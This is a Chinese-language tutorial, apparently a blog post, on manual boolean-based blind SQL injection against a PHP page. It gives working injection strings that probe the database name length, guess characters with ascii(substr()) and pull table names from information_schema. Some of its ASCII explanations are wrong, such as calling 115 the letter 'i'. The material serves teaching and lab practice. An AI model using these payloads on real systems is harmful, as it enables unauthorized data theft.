盲注是注入的一種方式,是在頁面只返回true和false時使用。
需要準備php知識
length()函式 返回字串的長度
substr()擷取字串
ascii()返回字元的ascii碼
以上每個函式都可使用,但有可能被禁用,可選其他函式測試
一、判斷是否存在盲注
可能需要閉合及注釋操作,此處未演示
03.php?id=1 and 1=1
正常顯示
03.php?id=1 and 1=2
什麼都不顯示,也不返回報錯
此時存在盲注
二、進行範圍測試
有布林盲注頁面只返回true及false兩種頁面,只能通過php函式猜解
1.一一猜解資料庫名長度
03.php?id=1 and (length(database()))
>10
當前資料庫database()的長度大於10,返回true頁面,否則false頁面。
2.猜當前資料庫第乙個字母的ascii值
03.php?id=1 and ascii(substr(database(
),1,1))
>114
用substr函式擷取database資料庫第一字母1長度的資料比較出ascii值為105,為i。修改substr(database(),2,1)可猜第二個字母,之後按字元長度逐個猜出.這條語句在後台為:
select * from iweb where id=1 and ascii(substr(database(
),1,1))
>114
此為無需閉合語句演示
3.猜出當前資料庫的表名的第乙個字母的ascii值
用substr函式擷取並用select查詢database資料庫中表名(0偏移量,第1行的表名)第一字母1長度的資料比較出ascii值為115,為i。修改substr(~~~~,2,1)可猜第二個字母,之後按字元長度逐個猜出
03.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database(
) limit 0,1
),1,
1))>114
4.猜出所選錶下的所有字段
5.猜出所選字段下的資料
盲註用手工注入太費時,需配合工具使用,如kali、指令碼,此為命令演示
布林盲注手注
布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...
布林盲注 原理
布林盲注 可以寫指令碼 例如 沒有錯誤提示 也沒有回顯 但是輸入錯誤的話頁面會有反應 也就是說 只有 true 和false 例如 sql labs less 7 它只有兩種提示 所以可以用布林盲注 playload and length database 8 判斷資料庫名長度 是否等於8 如果不等...
布林型盲注 時間型盲注
布林型盲注核心思想 利用判斷語句杢證明推測是否正確。推測正確時,頁面正常顯示 錯誤時,頁面異常。盲注的一般步驟 1 求閉合字元 2 求當前資料庫名的長度 3 求當前資料庫名對應的ascii值 4 求表的數量 5 求表名的長度 6 求表名對應的ascii值 7 求列的數量 8 求列名的長度 9 求列名...